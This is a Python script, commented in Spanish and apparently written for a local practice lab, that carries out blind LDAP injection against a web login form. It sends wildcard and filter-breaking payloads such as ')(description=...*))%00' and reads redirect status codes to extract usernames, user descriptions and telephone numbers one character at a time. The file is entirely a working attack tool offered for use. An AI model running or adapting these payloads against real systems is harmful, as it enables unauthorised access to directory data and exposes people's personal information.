#!/usr/bin/env python3
"""
Script para realizar un ataque de fuerza bruta contra el LDAP
"""

import os
# import pdb # Librería para debuguear
import requests
import signal
import sys
import string
import time

from pwn import *
from termcolor import colored


def signal_handler(sig, frame):
    """
    Signal handler for Ctrl+C
    """

    print(colored('\n\n[!] Saliendo...\n', 'red'))
    sys.exit(0)


signal.signal(signal.SIGINT, signal_handler)


# Variables globales
MAIN_URL = 'http://localhost:8888/'
BURP_PROXY = {'http': 'http://127.0.0.1:8080'}
HEADERS = {'Content-Type': 'application/x-www-form-urlencoded'}
NUMBERS = string.digits
CHARACTERS = string.ascii_lowercase + NUMBERS + " áéíóúñüç"

# Limpiar pantalla
os.system('clear')


def getInitialUsers():
    """
    Obtiene la lista inicial de usuarios
    """

    # pdb.set_trace()

    initial_users = []

    for character in CHARACTERS:

        post_data = f"user_id={character}*&password=*&login=1&submit=Submit"

        r = requests.post(
            MAIN_URL, data=post_data,
            headers=HEADERS,
            # proxies=BURP_PROXY,
            allow_redirects=False
        )

        if r.status_code == 301:
            initial_users.append(character)

    return initial_users


def getUsers(initial_users):
    """
    Obtiene la lista de usuarios válidos
    """

    valid_users = []

    for first_character in initial_users:

        user = ""

        for position in range(0, 15):

            for character in CHARACTERS:

                post_data = f"user_id={first_character}{user}{character}*&password=*&login=1&submit=Submit"

                r = requests.post(
                    MAIN_URL, data=post_data,
                    headers=HEADERS,
                    allow_redirects=False
                )

                if r.status_code == 301:
                    user += character
                    break

        if not user:
            break

        username = first_character + user
        valid_users.append(username)

    return valid_users


def getDescription(users):
    """
    Obtiene las descripciones para los usuarios dados
    """

    user_descriptions = {}

    for user in users:

        description = ""

        for position in range(0, 25):

            for character in CHARACTERS:

                post_data = f"user_id={user})(description={description}{character}*))%00&password=*&login=1&submit=Submit"

                r = requests.post(
                    MAIN_URL, data=post_data,
                    headers=HEADERS,
                    allow_redirects=False
                )

                if r.status_code == 301:
                    description += character
                    break

        if not description:
            break

        user_descriptions[user] = description

    return user_descriptions


def getPhones(users):
    """
    Obtiene los teléfonos para los usuarios dados
    """

    user_phones = {}

    for user in users:

        phone = ""

        for position in range(0, 9):

            for number in NUMBERS:

                post_data = f"user_id={user})(telephoneNumber={phone}{number}*))%00&password=*&login=1&submit=Submit"

                r = requests.post(
                    MAIN_URL, data=post_data,
                    headers=HEADERS,
                    allow_redirects=False
                )

                if r.status_code == 301:
                    phone += number
                    break

        user_phones[user] = phone

    return user_phones


def main():
    """
    Función principal
    """

    p1 = log.progress(colored("Fuerza bruta contra el LDAP", 'blue'))
    p1.status(colored("Iniciando ataque", 'magenta'))

    time.sleep(1)

    p1.status(colored("Atacando usuarios", 'magenta'))
    p2 = log.progress(colored("Buscando usuarios", 'blue'))
    initial_users = getInitialUsers()
    valid_users = getUsers(initial_users)
    p2.success(colored(f"Usuarios encontrados: {valid_users}", 'green'))

    time.sleep(1)

    p1.status(colored("Atacando descripciones", 'magenta'))
    p3 = log.progress(colored("Buscando descripciones", 'blue'))
    user_descriptions = getDescription(valid_users)
    descriptions_list = list(user_descriptions.values())
    p3.success(
        colored(f"Descripciones encontradas: {descriptions_list}", 'green'))

    time.sleep(1)

    p1.status(colored("Atacando teléfonos", 'magenta'))
    p4 = log.progress(colored("Buscando Teléfonos", 'blue'))
    user_phones = getPhones(valid_users)
    phones_list = list(user_phones.values())
    p4.success(colored(f"Teléfonos encontrados: {phones_list}", 'green'))

    time.sleep(1)

    usuario_descripcion_telefono = set(
        user_descriptions.keys()).union(user_phones.keys())

    p1.success(colored("Ataque finalizado", 'magenta'))

    time.sleep(2)

    print(colored("\n\n[+] Resumen:\n", 'green'))

    for user in usuario_descripcion_telefono:

        description = user_descriptions.get(user, "No tiene descripción")
        phone = user_phones.get(user, "No tiene teléfono")

        if description == "":
            description = "No tiene descripción"
        if phone == "":
            phone = "No tiene teléfono"

        print(colored(
            f"\n[+] Usuario: {user}\n    Descripción: {description}\n    Teléfono: {phone}",
            'green'
        ))


if __name__ == '__main__':

    main()
